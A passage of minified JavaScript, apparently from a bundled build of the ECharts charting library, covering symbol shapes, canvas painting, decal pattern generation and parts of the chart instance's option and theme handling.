s=!1,c=0;c<a.length;c++){var l=a[c],u=i.lastIndexOf(l);if(u>0&&u===i.length-l.length){var d=i.slice(0,u);d!==`data`&&(t.mainType=d,t[l.toLowerCase()]=e,s=!0)}}o.hasOwnProperty(i)&&(n[i]=e,s=!0),s||(r[i]=e)})}return{cptQuery:t,dataQuery:n,otherQuery:r}},e.prototype.filter=function(e,t){var n=this.eventInfo;if(!n)return!0;var r=n.targetEl,i=n.packedEvent,a=n.model,o=n.view;if(!a||!o)return!0;var s=t.cptQuery,c=t.dataQuery;return l(s,a,`mainType`)&&l(s,a,`subType`)&&l(s,a,`index`,`componentIndex`)&&l(s,a,`name`)&&l(s,a,`id`)&&l(c,i,`name`)&&l(c,i,`dataIndex`)&&l(c,i,`dataType`)&&(!o.filterForExposedEvent||o.filterForExposedEvent(e,t.otherQuery,r,i));function l(e,t,n,r){return e[n]==null||t[r||n]===e[n]}},e.prototype.afterTrigger=function(){this.eventInfo=null},e}(),yx=[`symbol`,`symbolSize`,`symbolRotate`,`symbolOffset`],bx=yx.concat([`symbolKeepAspect`]),xx={createOnAllSeries:!0,performRawSeries:!0,reset:function(e,t){var n=e.getData();if(e.legendIcon&&n.setVisual(`legendIcon`,e.legendIcon),!e.hasSymbolVisual)return;for(var r={},i={},a=!1,o=0;o<yx.length;o++){var s=yx[o],c=e.get(s);V(c)?(a=!0,i[s]=c):r[s]=c}if(r.symbol=r.symbol||e.defaultSymbol,n.setVisual(F({legendIcon:e.legendIcon||r.symbol,symbolKeepAspect:e.get(`symbolKeepAspect`)},r)),t.isSeriesFiltered(e))return;var l=dt(i);function u(t,n){for(var r=e.getRawValue(n),a=e.getDataParams(n),o=0;o<l.length;o++){var s=l[o];t.setItemVisual(n,s,i[s](r,a))}}return{dataEach:a?u:null}}},Sx={createOnAllSeries:!0,performRawSeries:!0,reset:function(e,t){if(!e.hasSymbolVisual||t.isSeriesFiltered(e))return;var n=e.getData();function r(e,t){for(var n=e.getItemModel(t),r=0;r<bx.length;r++){var i=bx[r],a=n.getShallow(i,!0);a!=null&&e.setItemVisual(t,i,a)}}return{dataEach:n.hasItemOption?r:null}}};function Cx(e,t,n){switch(n){case`color`:return e.getItemVisual(t,`style`)[e.getVisual(`drawType`)];case`opacity`:return e.getItemVisual(t,`style`).opacity;case`symbol`:case`symbolSize`:case`liftZ`:return e.getItemVisual(t,n);default:}}function Tx(e,t){switch(t){case`color`:return e.getVisual(`style`)[e.getVisual(`drawType`)];case`opacity`:return e.getVisual(`style`).opacity;case`symbol`:case`symbolSize`:case`liftZ`:return e.getVisual(t);default:}}function Ex(e,t,n,r){switch(n){case`color`:var i=e.ensureUniqueItemVisual(t,`style`);i[e.getVisual(`drawType`)]=r,e.setItemVisual(t,`colorFromPalette`,!1);break;case`opacity`:e.ensureUniqueItemVisual(t,`style`).opacity=r;break;case`symbol`:case`symbolSize`:case`liftZ`:e.setItemVisual(t,n,r);break;default:}}function Dx(e,t){function n(t,n){var r=[];return t.eachComponent({mainType:`series`,subType:e,query:n},function(e){r.push(e.seriesIndex)}),r}L([[e+`ToggleSelect`,`toggleSelect`],[e+`Select`,`select`],[e+`UnSelect`,`unselect`]],function(e){t(e[0],function(t,r,i){t=F({},t),i.dispatchAction(F(t,{type:e[1],seriesIndex:n(r,t)}))})})}function Ox(e,t,n,r,i){var a=e+t;n.isSilent(a)||r.eachComponent({mainType:`series`,subType:`pie`},function(e){for(var t=e.seriesIndex,r=e.option.selectedMap,o=i.selected,s=0;s<o.length;s++)if(o[s].seriesIndex===t){var c=e.getData(),l=ac(c,i.fromActionPayload);n.trigger(a,{type:a,seriesId:e.id,name:B(l)?c.getName(l[0]):c.getName(l),selected:H(r)?r:F({},r)})}})}function kx(e,t,n){e.on(`selectchanged`,function(e){var r=n.getModel();e.isFromClick?(Ox(`map`,`selectchanged`,t,r,e),Ox(`pie`,`selectchanged`,t,r,e)):e.fromAction===`select`?(Ox(`map`,`selected`,t,r,e),Ox(`pie`,`selected`,t,r,e)):e.fromAction===`unselect`&&(Ox(`map`,`unselected`,t,r,e),Ox(`pie`,`unselected`,t,r,e))})}function Ax(e,t,n){for(var r;e&&!(t(e)&&(r=e,n));)e=e.__hostTarget||e.parent;return r}var jx=Math.round(Math.random()*9),Mx=typeof Object.defineProperty==`function`,Nx=function(){function e(){this._id=`__ec_inner_`+ jx++}return e.prototype.get=function(e){return this._guard(e)[this._id]},e.prototype.set=function(e,t){var n=this._guard(e);return Mx?Object.defineProperty(n,this._id,{value:t,enumerable:!1,configurable:!0}):n[this._id]=t,this},e.prototype.delete=function(e){return this.has(e)?(delete this._guard(e)[this._id],!0):!1},e.prototype.has=function(e){return!!this._guard(e)[this._id]},e.prototype._guard=function(e){if(e!==Object(e))throw TypeError(`Value of WeakMap is not a non-null object.`);return e},e}(),Px=Cu.extend({type:`triangle`,shape:{cx:0,cy:0,width:0,height:0},buildPath:function(e,t){var n=t.cx,r=t.cy,i=t.width/2,a=t.height/2;e.moveTo(n,r-a),e.lineTo(n+i,r+a),e.lineTo(n-i,r+a),e.closePath()}}),Fx={line:fp,rect:Lu,roundRect:Lu,square:Lu,circle:If,diamond:Cu.extend({type:`diamond`,shape:{cx:0,cy:0,width:0,height:0},buildPath:function(e,t){var n=t.cx,r=t.cy,i=t.width/2,a=t.height/2;e.moveTo(n,r-a),e.lineTo(n+i,r),e.lineTo(n,r+a),e.lineTo(n-i,r),e.closePath()}}),pin:Cu.extend({type:`pin`,shape:{x:0,y:0,width:0,height:0},buildPath:function(e,t){var n=t.x,r=t.y,i=t.width/5*3,a=Math.max(i,t.height),o=i/2,s=o*o/(a-o),c=r-a+o+s,l=Math.asin(s/o),u=Math.cos(l)*o,d=Math.sin(l),f=Math.cos(l),p=o*.6,m=o*.7;e.moveTo(n-u,c+s),e.arc(n,c,o,Math.PI-l,Math.PI*2+l),e.bezierCurveTo(n+u-d*p,c+s+f*p,n,r-m,n,r),e.bezierCurveTo(n,r-m,n-u+d*p,c+s+f*p,n-u,c+s),e.closePath()}}),arrow:Cu.extend({type:`arrow`,shape:{x:0,y:0,width:0,height:0},buildPath:function(e,t){var n=t.height,r=t.width,i=t.x,a=t.y,o=r/3*2;e.moveTo(i,a),e.lineTo(i+o,a+n),e.lineTo(i,a+n/4*3),e.lineTo(i-o,a+n),e.lineTo(i,a),e.closePath()}}),triangle:Px},Ix={line:function(e,t,n,r,i){i.x1=e,i.y1=t+r/2,i.x2=e+n,i.y2=t+r/2},rect:function(e,t,n,r,i){i.x=e,i.y=t,i.width=n,i.height=r},roundRect:function(e,t,n,r,i){i.x=e,i.y=t,i.width=n,i.height=r,i.r=Math.min(n,r)/4},square:function(e,t,n,r,i){var a=Math.min(n,r);i.x=e,i.y=t,i.width=a,i.height=a},circle:function(e,t,n,r,i){i.cx=e+n/2,i.cy=t+r/2,i.r=Math.min(n,r)/2},diamond:function(e,t,n,r,i){i.cx=e+n/2,i.cy=t+r/2,i.width=n,i.height=r},pin:function(e,t,n,r,i){i.x=e+n/2,i.y=t+r/2,i.width=n,i.height=r},arrow:function(e,t,n,r,i){i.x=e+n/2,i.y=t+r/2,i.width=n,i.height=r},triangle:function(e,t,n,r,i){i.cx=e+n/2,i.cy=t+r/2,i.width=n,i.height=r}},Lx={};L(Fx,function(e,t){Lx[t]=new e});var Rx=Cu.extend({type:`symbol`,shape:{symbolType:``,x:0,y:0,width:0,height:0},calculateTextPosition:function(e,t,n){var r=Oo(e,t,n),i=this.shape;return i&&i.symbolType===`pin`&&t.position===`inside`&&(r.y=n.y+n.height*.4),r},buildPath:function(e,t,n){var r=t.symbolType;if(r!==`none`){var i=Lx[r];i||=(r=`rect`,Lx[r]),Ix[r](t.x,t.y,t.width,t.height,i.shape),i.buildPath(e,i.shape,n)}}});function zx(e,t){if(this.type!==`image`){var n=this.style;this.__isEmptyBrush?(n.stroke=e,n.fill=t||Q.color.neutral00,n.lineWidth=2):this.shape.symbolType===`line`?n.stroke=e:n.fill=e,this.markRedraw()}}function Bx(e,t,n,r,i,a,o){var s=e.indexOf(`empty`)===0;s&&(e=e.substr(5,1).toLowerCase()+e.substr(6));var c=e.indexOf(`image://`)===0?tm(e.slice(8),new J(t,n,r,i),o?`center`:`cover`):e.indexOf(`path://`)===0?em(e.slice(7),{},new J(t,n,r,i),o?`center`:`cover`):new Rx({shape:{symbolType:e,x:t,y:n,width:r,height:i}});return c.__isEmptyBrush=s,c.setColor=zx,a&&c.setColor(a),c}function Vx(e){return B(e)||(e=[+e,+e]),[e[0]||0,e[1]||0]}function Hx(e,t){if(e!=null)return B(e)||(e=[e,e]),[X(e[0],t[0])||0,X(W(e[1],e[0]),t[1])||0]}function Ux(e){return isFinite(e)}function Wx(e,t,n){var r=t.x==null?0:t.x,i=t.x2==null?1:t.x2,a=t.y==null?0:t.y,o=t.y2==null?0:t.y2;return t.global||(r=r*n.width+n.x,i=i*n.width+n.x,a=a*n.height+n.y,o=o*n.height+n.y),r=Ux(r)?r:0,i=Ux(i)?i:1,a=Ux(a)?a:0,o=Ux(o)?o:0,e.createLinearGradient(r,a,i,o)}function Gx(e,t,n){var r=n.width,i=n.height,a=Math.min(r,i),o=t.x==null?.5:t.x,s=t.y==null?.5:t.y,c=t.r==null?.5:t.r;return t.global||(o=o*r+n.x,s=s*i+n.y,c*=a),o=Ux(o)?o:.5,s=Ux(s)?s:.5,c=c>=0&&Ux(c)?c:.5,e.createRadialGradient(o,s,0,o,s,c)}function Kx(e,t,n){for(var r=t.type===`radial`?Gx(e,t,n):Wx(e,t,n),i=t.colorStops,a=0;a<i.length;a++)r.addColorStop(i[a].offset,i[a].color);return r}function qx(e,t){if(e===t||!e&&!t)return!1;if(!e||!t||e.length!==t.length)return!0;for(var n=0;n<e.length;n++)if(e[n]!==t[n])return!0;return!1}function Jx(e){return parseInt(e,10)}function Yx(e,t,n){var r=[`width`,`height`][t],i=[`clientWidth`,`clientHeight`][t],a=[`paddingLeft`,`paddingTop`][t],o=[`paddingRight`,`paddingBottom`][t];if(n[r]!=null&&n[r]!==`auto`)return parseFloat(n[r]);var s=document.defaultView.getComputedStyle(e);return(e[i]||Jx(s[r])||Jx(e.style[r]))-(Jx(s[a])||0)-(Jx(s[o])||0)|0}function Xx(e,t){return!e||e===`solid`||!(t>0)?null:e===`dashed`?[4*t,2*t]:e===`dotted`?[t]:ht(e)?[e]:B(e)?e:null}function Zx(e){var t=e.style,n=t.lineDash&&t.lineWidth>0&&Xx(t.lineDash,t.lineWidth),r=t.lineDashOffset;if(n){var i=t.strokeNoScale&&e.getLineScale?e.getLineScale():1;i&&i!==1&&(n=R(n,function(e){return e/i}),r/=i)}return[n,r]}var Qx=new Ql(!0);function $x(e){var t=e.stroke;return!(t==null||t===`none`||!(e.lineWidth>0))}function eS(e){return typeof e==`string`&&e!==`none`}function tS(e){var t=e.fill;return t!=null&&t!==`none`}function nS(e,t){if(t.fillOpacity!=null&&t.fillOpacity!==1){var n=e.globalAlpha;e.globalAlpha=t.fillOpacity*t.opacity,e.fill(),e.globalAlpha=n}else e.fill()}function rS(e,t){if(t.strokeOpacity!=null&&t.strokeOpacity!==1){var n=e.globalAlpha;e.globalAlpha=t.strokeOpacity*t.opacity,e.stroke(),e.globalAlpha=n}else e.stroke()}function iS(e,t,n){var r=zc(t.image,t.__image,n);if(Vc(r)){var i=e.createPattern(r,t.repeat||`repeat`);if(typeof DOMMatrix==`function`&&i&&i.setTransform){var a=new DOMMatrix;a.translateSelf(t.x||0,t.y||0),a.rotateSelf(0,0,(t.rotation||0)*Bt),a.scaleSelf(t.scaleX||1,t.scaleY||1),i.setTransform(a)}return i}}function aS(e,t,n,r){var i,a=$x(n),o=tS(n),s=n.strokePercent,c=s<1,l=!t.path;(!t.silent||c)&&l&&t.createPathProxy();var u=t.path||Qx,d=t.__dirty;if(!r){var f=n.fill,p=n.stroke,m=o&&!!f.colorStops,h=a&&!!p.colorStops,g=o&&!!f.image,_=a&&!!p.image,v=void 0,y=void 0,b=void 0,x=void 0,S=void 0;(m||h)&&(S=t.getBoundingRect()),m&&(v=d?Kx(e,f,S):t.__canvasFillGradient,t.__canvasFillGradient=v),h&&(y=d?Kx(e,p,S):t.__canvasStrokeGradient,t.__canvasStrokeGradient=y),g&&(b=d||!t.__canvasFillPattern?iS(e,f,t):t.__canvasFillPattern,t.__canvasFillPattern=b),_&&(x=d||!t.__canvasStrokePattern?iS(e,p,t):t.__canvasStrokePattern,t.__canvasStrokePattern=x),m?e.fillStyle=v:g&&(b?e.fillStyle=b:o=!1),h?e.strokeStyle=y:_&&(x?e.strokeStyle=x:a=!1)}var C=t.getGlobalScale();u.setScale(C[0],C[1],t.segmentIgnoreThreshold);var w,T;e.setLineDash&&n.lineDash&&(i=Zx(t),w=i[0],T=i[1]);var E=!0;(l||d&4)&&(u.setDPR(e.dpr),c?u.setContext(null):(u.setContext(e),E=!1),u.reset(),t.buildPath(u,t.shape,r),u.toStatic(),t.pathUpdated()),E&&u.rebuildPath(e,c?s:1),w&&(e.setLineDash(w),e.lineDashOffset=T),r||(n.strokeFirst?(a&&rS(e,n),o&&nS(e,n)):(o&&nS(e,n),a&&rS(e,n))),w&&e.setLineDash([])}function oS(e,t,n){var r=t.__image=zc(n.image,t.__image,t,t.onload);if(!(!r||!Vc(r))){var i=n.x||0,a=n.y||0,o=t.getWidth(),s=t.getHeight(),c=r.width/r.height;if(o==null&&s!=null?o=s*c:s==null&&o!=null?s=o/c:o==null&&s==null&&(o=r.width,s=r.height),n.sWidth&&n.sHeight){var l=n.sx||0,u=n.sy||0;e.drawImage(r,l,u,n.sWidth,n.sHeight,i,a,o,s)}else if(n.sx&&n.sy){var l=n.sx,u=n.sy,d=o-l,f=s-u;e.drawImage(r,l,u,d,f,i,a,o,s)}else e.drawImage(r,i,a,o,s)}}function sS(e,t,n){var r,i=n.text;if(i!=null&&(i+=``),i){e.font=n.font||`12px sans-serif`,e.textAlign=n.textAlign,e.textBaseline=n.textBaseline;var a=void 0,o=void 0;e.setLineDash&&n.lineDash&&(r=Zx(t),a=r[0],o=r[1]),a&&(e.setLineDash(a),e.lineDashOffset=o),n.strokeFirst?($x(n)&&e.strokeText(i,n.x,n.y),tS(n)&&e.fillText(i,n.x,n.y)):(tS(n)&&e.fillText(i,n.x,n.y),$x(n)&&e.strokeText(i,n.x,n.y)),a&&e.setLineDash([])}}var cS=[`shadowBlur`,`shadowOffsetX`,`shadowOffsetY`],lS=[[`lineCap`,`butt`],[`lineJoin`,`miter`],[`miterLimit`,10]];function uS(e,t,n,r,i){var a=!1;if(!r&&(n||={},t===n))return!1;if(r||t.opacity!==n.opacity){xS(e,i),a=!0;var o=Math.max(Math.min(t.opacity,1),0);e.globalAlpha=isNaN(o)?dl.opacity:o}(r||t.blend!==n.blend)&&(a||=(xS(e,i),!0),e.globalCompositeOperation=t.blend||dl.blend);for(var s=0;s<cS.length;s++){var c=cS[s];(r||t[c]!==n[c])&&(a||=(xS(e,i),!0),e[c]=e.dpr*(t[c]||0))}return(r||t.shadowColor!==n.shadowColor)&&(a||=(xS(e,i),!0),e.shadowColor=t.shadowColor||dl.shadowColor),a}function dS(e,t,n,r,i){var a=SS(t,i.inHover),o=r?null:n&&SS(n,i.inHover)||{};if(a===o)return!1;var s=uS(e,a,o,r,i);if((r||a.fill!==o.fill)&&(s||=(xS(e,i),!0),eS(a.fill)&&(e.fillStyle=a.fill)),(r||a.stroke!==o.stroke)&&(s||=(xS(e,i),!0),eS(a.stroke)&&(e.strokeStyle=a.stroke)),(r||a.opacity!==o.opacity)&&(s||=(xS(e,i),!0),e.globalAlpha=a.opacity==null?1:a.opacity),t.hasStroke()){var c=a.lineWidth/(a.strokeNoScale&&t.getLineScale?t.getLineScale():1);e.lineWidth!==c&&(s||=(xS(e,i),!0),e.lineWidth=c)}for(var l=0;l<lS.length;l++){var u=lS[l],d=u[0];(r||a[d]!==o[d])&&(s||=(xS(e,i),!0),e[d]=a[d]||u[1])}return s}function fS(e,t,n,r,i){return uS(e,SS(t,i.inHover),n&&SS(n,i.inHover),r,i)}function pS(e,t){var n=t.transform,r=e.dpr||1;n?e.setTransform(r*n[0],r*n[1],r*n[2],r*n[3],r*n[4],r*n[5]):e.setTransform(r,0,0,r,0,0)}function mS(e,t,n){for(var r=!1,i=0;i<e.length;i++){var a=e[i];r||=a.isZeroArea(),pS(t,a),t.beginPath(),a.buildPath(t,a.shape),t.clip()}n.allClipped=r}function hS(e,t){return e&&t?e[0]!==t[0]||e[1]!==t[1]||e[2]!==t[2]||e[3]!==t[3]||e[4]!==t[4]||e[5]!==t[5]:!(!e&&!t)}var gS=1,_S=2,vS=3,yS=4;function bS(e){var t=tS(e),n=$x(e);return!(e.lineDash||!(t^+n)||t&&typeof e.fill!=`string`||n&&typeof e.stroke!=`string`||e.strokePercent<1||e.strokeOpacity<1||e.fillOpacity<1)}function xS(e,t){t.batchFill&&e.fill(),t.batchStroke&&e.stroke(),t.batchFill=``,t.batchStroke=``}function SS(e,t){return t&&e.__hoverStyle||e.style}function CS(e,t){wS(e,t,{inHover:!1,viewWidth:0,viewHeight:0},!0)}function wS(e,t,n,r){var i=t.transform;if(!t.shouldBePainted(n.viewWidth,n.viewHeight,!1,!1)){t.__dirty&=-2,t.__isRendered=!1;return}var a=t.__clipPaths,o=n.prevElClipPaths,s=!1,c=!1;if((!o||qx(a,o))&&(o&&o.length&&(xS(e,n),e.restore(),c=s=!0,n.prevElClipPaths=null,n.allClipped=!1,n.prevEl=null),a&&a.length&&(xS(e,n),e.save(),mS(a,e,n),s=!0),n.prevElClipPaths=a),n.allClipped){t.__isRendered=!1;return}t.beforeBrush&&t.beforeBrush(),t.innerBeforeBrush();var l=n.prevEl;l||(c=s=!0);var u=t instanceof Cu&&t.autoBatch&&bS(t.style);s||hS(i,l.transform)?(xS(e,n),pS(e,t)):u||xS(e,n);var d=SS(t,n.inHover);t instanceof Cu?(n.lastDrawType!==gS&&(c=!0,n.lastDrawType=gS),dS(e,t,l,c,n),(!u||!n.batchFill&&!n.batchStroke)&&e.beginPath(),aS(e,t,d,u),u&&(n.batchFill=d.fill||``,n.batchStroke=d.stroke||``)):t instanceof Tu?(n.lastDrawType!==vS&&(c=!0,n.lastDrawType=vS),dS(e,t,l,c,n),sS(e,t,d)):t instanceof ku?(n.lastDrawType!==_S&&(c=!0,n.lastDrawType=_S),fS(e,t,l,c,n),oS(e,t,d)):t.getTemporalDisplayables&&(n.lastDrawType!==yS&&(c=!0,n.lastDrawType=yS),TS(e,t,n)),u&&r&&xS(e,n),t.innerAfterBrush(),t.afterBrush&&t.afterBrush(),n.prevEl=t,t.__dirty=0,t.__isRendered=!0}function TS(e,t,n){var r=t.getDisplayables(),i=t.getTemporalDisplayables();e.save();var a={prevElClipPaths:null,prevEl:null,allClipped:!1,viewWidth:n.viewWidth,viewHeight:n.viewHeight,inHover:n.inHover},o,s;for(o=t.getCursor(),s=r.length;o<s;o++){var c=r[o];c.beforeBrush&&c.beforeBrush(),c.innerBeforeBrush(),wS(e,c,a,o===s-1),c.innerAfterBrush(),c.afterBrush&&c.afterBrush(),a.prevEl=c}for(var l=0,u=i.length;l<u;l++){var c=i[l];c.beforeBrush&&c.beforeBrush(),c.innerBeforeBrush(),wS(e,c,a,l===u-1),c.innerAfterBrush(),c.afterBrush&&c.afterBrush(),a.prevEl=c}t.clearTemporalDisplayables(),t.notClear=!0,e.restore()}var ES=new Nx,DS=new hi(100),OS=[`symbol`,`symbolSize`,`symbolKeepAspect`,`color`,`backgroundColor`,`dashArrayX`,`dashArrayY`,`maxTileWidth`,`maxTileHeight`];function kS(e,t){if(e===`none`)return null;var n=t.getDevicePixelRatio(),r=t.getZr(),i=r.painter.type===`svg`;e.dirty&&ES.delete(e);var a=ES.get(e);if(a)return a;var o=I(e,{symbol:`rect`,symbolSize:1,symbolKeepAspect:!0,color:`rgba(0, 0, 0, 0.2)`,backgroundColor:null,dashArrayX:5,dashArrayY:5,rotation:0,maxTileWidth:512,maxTileHeight:512});o.backgroundColor===`none`&&(o.backgroundColor=null);var s={repeat:`repeat`};return c(s),s.rotation=o.rotation,s.scaleX=s.scaleY=i?1:1/n,ES.set(e,s),e.dirty=!1,s;function c(e){for(var t=[n],a=!0,s=0;s<OS.length;++s){var c=o[OS[s]];if(c!=null&&!B(c)&&!H(c)&&!ht(c)&&typeof c!=`boolean`){a=!1;break}t.push(c)}var l;if(a){l=t.join(`,`)+(i?`-svg`:``);var u=DS.get(l);u&&(i?e.svgElement=u:e.image=u)}var d=jS(o.dashArrayX),f=MS(o.dashArrayY),p=AS(o.symbol),m=NS(d),h=PS(f),g=!i&&Ve.createCanvas(),_=i&&{tag:`g`,attrs:{},key:`dcl`,children:[]},v=b(),y;g&&(g.width=v.width*n,g.height=v.height*n,y=g.getContext(`2d`)),x(),a&&DS.put(l,g||_),e.image=g,e.svgElement=_,e.svgWidth=v.width,e.svgHeight=v.height;function b(){for(var e=1,t=0,n=m.length;t<n;++t)e=Os(e,m[t]);for(var r=1,t=0,n=p.length;t<n;++t)r=Os(r,p[t].length);e*=r;var i=h*m.length*p.length;return{width:Math.max(1,Math.min(e,o.maxTileWidth)),height:Math.max(1,Math.min(i,o.maxTileHeight))}}function x(){y&&(y.clearRect(0,0,g.width,g.height),o.backgroundColor&&(y.fillStyle=o.backgroundColor,y.fillRect(0,0,g.width,g.height)));for(var e=0,t=0;t<f.length;++t)e+=f[t];if(e<=0)return;for(var a=-h,s=0,c=0,l=0;a<v.height;){if(s%2==0){for(var u=c/2%p.length,m=0,b=0,x=0;m<v.width*2;){for(var S=0,t=0;t<d[l].length;++t)S+=d[l][t];if(S<=0)break;if(b%2==0){var C=(1-o.symbolSize)*.5,w=m+d[l][b]*C,T=a+f[s]*C,E=d[l][b]*o.symbolSize,D=f[s]*o.symbolSize,O=x/2%p[u].length;k(w,T,E,D,p[u][O])}m+=d[l][b],++x,++b,b===d[l].length&&(b=0)}++l,l===d.length&&(l=0)}a+=f[s],++c,++s,s===f.length&&(s=0)}function k(e,t,a,s,c){var l=i?1:n,u=Bx(c,e*l,t*l,a*l,s*l,o.color,o.symbolKeepAspect);if(i){var d=r.painter.renderOneToVNode(u);d&&_.children.push(d)}else CS(y,u)}}}}function AS(e){if(!e||e.length===0)return[[`rect`]];if(H(e))return[[e]];for(var t=!0,n=0;n<e.length;++n)if(!H(e[n])){t=!1;break}if(t)return AS([e]);for(var r=[],n=0;n<e.length;++n)H(e[n])?r.push([e[n]]):r.push(e[n]);return r}function jS(e){if(!e||e.length===0)return[[0,0]];if(ht(e)){var t=Math.ceil(e);return[[t,t]]}for(var n=!0,r=0;r<e.length;++r)if(!ht(e[r])){n=!1;break}if(n)return jS([e]);for(var i=[],r=0;r<e.length;++r)if(ht(e[r])){var t=Math.ceil(e[r]);i.push([t,t])}else{var t=R(e[r],function(e){return Math.ceil(e)});t.length%2==1?i.push(t.concat(t)):i.push(t)}return i}function MS(e){if(!e||typeof e==`object`&&e.length===0)return[0,0];if(ht(e)){var t=Math.ceil(e);return[t,t]}var n=R(e,function(e){return Math.ceil(e)});return e.length%2?n.concat(n):n}function NS(e){return R(e,function(e){return PS(e)})}function PS(e){for(var t=0,n=0;n<e.length;++n)t+=e[n];return e.length%2==1?t*2:t}function FS(e,t){e.eachRawSeries(function(n){if(!e.isSeriesFiltered(n)){var r=n.getData();r.hasItemVisual()&&r.each(function(e){var n=r.getItemVisual(e,`decal`);if(n){var i=r.ensureUniqueItemVisual(e,`style`);i.decal=kS(n,t)}});var i=r.getVisual(`decal`);if(i){var a=r.getVisual(`style`);a.decal=kS(i,t)}}})}var IS=new ln,LS={};function RS(e,t){LS[e]=t}function zS(e){return LS[e]}var BS={};function VS(e,t){BS[e]=t}function HS(e){return BS[e]}var US=1,WS=800,GS=900,KS=1e3,qS=2e3,JS=5e3,YS=1e3,XS=1100,ZS=2e3,QS=3e3,$S=4e3,eC=4500,tC=4600,nC=5e3,rC=6e3,iC=7e3,aC={PROCESSOR:{FILTER:KS,SERIES_FILTER:WS,STATISTIC:JS},VISUAL:{LAYOUT:YS,PROGRESSIVE_LAYOUT:XS,GLOBAL:ZS,CHART:QS,POST_CHART_LAYOUT:tC,COMPONENT:$S,BRUSH:nC,CHART_ITEM:eC,ARIA:rC,DECAL:iC}},oC=`__flagInMainProcess`,sC=`__mainProcessVersion`,cC=`__pendingUpdate`,lC=`__needsUpdateStatus`,uC=/^[a-zA-Z0-9_]+$/,dC=`__connectUpdateStatus`,fC=0,pC=1,mC=2;function hC(e){return function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];if(this.isDisposed()){this.id;return}return _C(this,e,t)}}function gC(e){return function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return _C(this,e,t)}}function _C(e,t,n){return n[0]=n[0]&&n[0].toLowerCase(),ln.prototype[t].apply(e,n)}var vC=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t}(ln),yC=vC.prototype;yC.on=gC(`on`),yC.off=gC(`off`);var bC,xC,SC,CC,wC,TC,EC,DC,OC,kC,AC,jC,MC,NC,PC,FC,IC,LC,RC,zC=function(e){N(t,e);function t(t,n,r){var i=e.call(this,new vx)||this;i._chartsViews=[],i._chartsMap={},i._componentsViews=[],i._componentsMap={},i._pendingActions=[],r||={},i._dom=t;var a=`canvas`,o=`auto`,s=!1;i[sC]=1,r.ssr&&Qo(function(e){var t=Z(e),n=t.dataIndex;if(n!=null){var r=G();return r.set(`series_index`,t.seriesIndex),r.set(`data_index`,n),t.ssrType&&r.set(`ssr_type`,t.ssrType),r}});var c=i._zr=Jo(t,{renderer:r.renderer||a,devicePixelRatio:r.devicePixelRatio,width:r.width,height:r.height,ssr:r.ssr,useDirtyRect:W(r.useDirtyRect,s),useCoarsePointer:W(r.useCoarsePointer,o),pointerSize:r.pointerSize});i._ssr=r.ssr,i._throttledZrFlush=zb(z(c.flush,c),17),i._updateTheme(n),i._locale=wh(r.locale||Sh),i._coordSysMgr=new Tg;var l=i._api=PC(i);function u(e,t){return e.__prio-t.__prio}return Mr(qC,u),Mr(GC,u),i._scheduler=new $b(i,l,GC,qC),i._messageCenter=new vC,i._initEvents(),i.resize=z(i.resize,i),c.animation.on(`frame`,i._onframe,i),kC(c,i),AC(c,i),At(i),i}return t.prototype._onframe=function(){if(!this._disposed){LC(this);var e=this._scheduler;if(this[cC]){var t=this[cC].silent;this[oC]=!0,RC(this);try{bC(this),CC.update.call(this,null,this[cC].updateParams)}catch(e){throw this[oC]=!1,this[cC]=null,e}this._zr.flush(),this[oC]=!1,this[cC]=null,DC.call(this,t),OC.call(this,t)}else if(e.unfinished){var n=US,r=this._model,i=this._api;e.unfinished=!1;do{var a=+new Date;e.performSeriesTasks(r),e.performDataProcessorTasks(r),TC(this,r),e.performVisualTasks(r),NC(this,this._model,i,`remain`,{}),n-=+new Date-a}while(n>0&&e.unfinished);e.unfinished||this._zr.flush()}}},t.prototype.getDom=function(){return this._dom},t.prototype.getId=function(){return this.id},t.prototype.getZr=function(){return this._zr},t.prototype.isSSR=function(){return this._ssr},t.prototype.setOption=function(e,t,n){if(!this[oC]){if(this._disposed){this.id;return}var r,i,a;if(U(t)&&(n=t.lazyUpdate,r=t.silent,i=t.replaceMerge,a=t.transition,t=t.notMerge),this[oC]=!0,RC(this),!this._model||t){var o=new Z_(this._api),s=this._theme,c=this._model=new H_;c.scheduler=this._scheduler,c.ssr=this._ssr,c.init(null,null,null,s,this._locale,o)}this._model.setOption(e,{replaceMerge:i},KC);var l={seriesTransition:a,optionChanged:!0};if(n)this[cC]={silent:r,updateParams:l},this[oC]=!1,this.getZr().wakeUp();else{try{bC(this),CC.update.call(this,null,l)}catch(e){throw this[cC]=null,this[oC]=!1,e}this._ssr||this._zr.flush(),this[cC]=null,this[oC]=!1,DC.call(this,r),OC.call(this,r)}}},t.prototype.setTheme=function(e,t){if(!this[oC]){if(this._disposed){this.id;return}var n=this._model;if(n){var r=t&&t.silent,i=null;this[cC]&&(r??=this[cC].silent,i=this[cC].updateParams,this[cC]=null),this[oC]=!0,RC(this);try{this._updateTheme(e),n.setTheme(this._theme),bC(this),CC.update.call(this,{type:`setTheme`},i)}catch(e){throw this[oC]=!1,e}this[oC]=!1,DC.call(this,r),OC.call(this,r)}}},t.prototype._updateTheme=function(e){H(e)&&(e=JC[e]),e&&(e=P(e),e&&Tv(e,!0),this._theme=e)},t.prototype.getModel=function(){return this._model},t.prototype.getOption=function(){return this._model&&this._model.getOption()},t.prototype.getWidth=function(){return this._zr.getWidth()},t.prototype.getHeight=function(){return this._zr.getHeight()},t.prototype.getDevicePixelRatio=function(){return this._zr.painter.dpr||Ne.hasGlobalWindow&&window.devicePixelRatio||1},t.prototype.getRenderedCanvas=function(e){return this.renderToCanvas(e)},t.prototype.renderToCanvas=function(e){return e||={},this._zr.painter.getRenderedCanvas({backgroundColor:e.backgroundColor||this._model.get(`backgroundColor`),pixelRatio:e.pixelRatio||this.getDevicePixelRatio()})},t.prototype.renderToSVGString=function(e){return e||={},this._zr.painter.renderToString({useViewBox:e.useViewBox})},t.prototype.getSvgDataURL=function(){var e=this._zr;return L(e.storage.getDisplayList(),function(e){e.stopAnimation(null,!0)}),e.painter.toDataURL()},t.prototype.getDataURL=function(e){if(this._disposed){this.id;return}e||={};var t=e.excludeComponents,n=this._model,r=[],i=this;L(t,function(e){n.eachComponent({mainType:e},function(e){var t=i._componentsMap[e.__viewId];t.group.ignore||(r.push(t),t.group.ignore=!0)})});var a=this._zr.painter.getType()===`svg`?this.getSvgDataURL():this.renderToCanvas(e).toDataURL(`image/`+(e&&e.type||`png`));return 